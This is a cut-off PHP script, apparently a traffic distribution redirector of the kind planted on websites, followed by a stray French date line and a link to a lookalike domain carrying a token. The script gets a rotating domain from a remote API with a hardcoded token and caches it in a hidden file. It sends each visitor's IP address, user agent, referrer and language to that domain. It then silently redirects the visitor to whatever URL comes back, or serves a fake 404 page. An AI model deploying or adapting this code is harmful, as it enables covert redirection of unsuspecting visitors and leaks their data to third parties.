"; echo json_encode($_SERVER); echo "
"; } $API_DOMAIN = 'noy-95.com'; $AD_TOKEN = 'ed5c73cd3ff89ec985e237bf188703bd1d5267c7'; $TB_URL = ''; $ttl = 10 * 60; $fileName = dirname(__FILE__)."/.domain.cache"; $query = isset($_GET['q']) ? $_GET['q'] : ''; $s1 = isset($_GET['s1']) ? $_GET['s1'] : ''; $s2 = isset($_GET['s2']) ? $_GET['s2'] : ''; $s3 = isset($_GET['s3']) ? $_GET['s3'] : ''; if ($isDebug) { echo "Getting tds domain from cache...
"; } $info = getDomain($fileName); if (is_array($info) && $info['expired'] < time()) { if ($isDebug) { echo "FAIL: TDS domain cache is empty or expired
"; } $info = false; } if ($info === false) { if ($isDebug) { echo "Getting tds domain from api...
"; } $domain = getTDSDomain($API_DOMAIN, $AD_TOKEN); if (!$domain) { if ($isDebug) { echo "FAIL: No domain received.
"; } if ($TB_URL) { $rUrl = str_replace(array('{QUERY}', '{S1}', '{S2}', '{S3}'), array($query, $s1, $s2, $s3), $TB_URL); if ($isDebug) { echo "Redirecting to trafficback: $rUrl
"; } else { listHeaders(); header("Location: $rUrl"); } return; } if ($isDebug) { echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Saving domain to cache...
"; } saveDomain($fileName, $domain, time() + $ttl); $info = array('domain' => $domain); } if ($isDebug) { echo "Getting ad url...
"; } $location = getAd($info['domain'], $AD_TOKEN, $_SERVER, array('query' => $query, 's1' => $s1, 's2' => $s2, 's3' => $s3), $isDebug); if (!$location) { if ($isDebug) { echo "FAIL: No ad found.
"; echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Redirecting to ad: $location
"; } else { listHeaders(); header("Location: $location"); ob_flush(); } return; function getDomain($file) { $d = file($file); if ($d === false || count($d) === 0) { return false; } $info = explode(";", $d[0]); // mailformed file if (count($info) !== 2) { return false; } return array( 'domain' => $info[0], 'expired' => (int) $info[1] ); } function saveDomain($file, $domain, $expired) { file_put_contents($file, "$domain;$expired"); } function getTDSDomain ($apiUrl, $token) { $ctx = stream_context_create(array('http'=>array('timeout' => 10))); $res = file_get_contents("http://$apiUrl/pd?token=$token", false, $ctx); if (!$res) { return ""; } $data = json_decode($res, true); if (!is_array($data) || !array_key_exists("domain", $data)) { return ""; } return $data["domain"]; } function getAd($domain, $token, $server, $params, $isDebug) { $errCount = 0; $res = ''; while ($errCount < 2) { $res = doReq($domain, $token, $server, $params, $isDebug); if ($res !== false) { break; } $errCount++; } if ($res === false || $res['code'] >= 400 || !is_array($res['response'])) { return false; } if (!empty($res['response']['url'])) { return $res['response']['url']; } else if (!empty($res['response']['tb'])) { return $res['response']['tb']; } else { return false; } } function doReq($domain, $token, $server, $params, $isDebug) { $ch = curl_init(); $body = array(); if (!empty($server['HTTP_REFERER'])) { $body['ref'] = $server['HTTP_REFERER']; } if (!empty($server['HTTP_USER_AGENT'])) { $body['ua'] = $server['HTTP_USER_AGENT']; } if (!empty($server['HTTP_ACCEPT_LANGUAGE'])) { $body['lang'] = $server['HTTP_ACCEPT_LANGUAGE']; } $body['ip'] = getClientIP($server); $body['q'] = $params['query']; $scheme = getScheme($server); $bodyStr = json_encode($body); $addSubParams = array(); if (!empty($params['s1'])) { $addSubParams[] = "s1=".$params['s1']; } if (!empty($params['s2'])) { $addSubParams[] = "s2=".$params['s2']; } if (!empty($params['s3'])) { $addSubParams[] = "s3=".$params['s3']; } $subStr = (count($addSubParams) > 0) ? "&".implode("&", $addSubParams) : ""; $ch = curl_init("$scheme://$domain/rtb/r?token=$token$subStr"); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: '.strlen($bodyStr)) ); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if ($info === false || !$info['http_code']) { if ($isDebug) { echo "Network error occurred: ".curl_error($ch)."
"; } return false; } $adData=json_decode($result, true); return array('code' => $info['http_code'], 'response' => is_array($adData) && count($adData) > 0 ? $adData[0] : null); } function getScheme($server) { return stripos($server['SERVER_PROTOCOL'],'https') === true ? 'https' : 'http'; } function getClientIP($server) { if (array_key_exists('HTTP_X_FORWARDED_FOR', $server)){ return $server["HTTP_X_FORWARDED_FOR"]; } else if (array_key_exists('HTTP_X_REAL_IP', $server)) { return $server["HTTP_X_REAL_IP"]; } else if (array_key_exists('REMOTE_ADDR', $server)) { return $server["REMOTE_ADDR"]; } return ''; } function listHeaders() { header("Expires: Tue, 03 Jul 2001 06:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("Connection: close"); } function render404($server) { $protocol = isset($server['SERVER_PROTOCOL']) ? $server['SERVER_PROTOCOL'] : 'HTTP/1.1'; listHeaders(); header("$protocol 404 Not Found"); }

vendredi 4 octobre 2019

http://mob1ledev1ces.com/r/?token=fae36d3912df7d7e480ed8182048c0fafda35199&q={KEYWORD}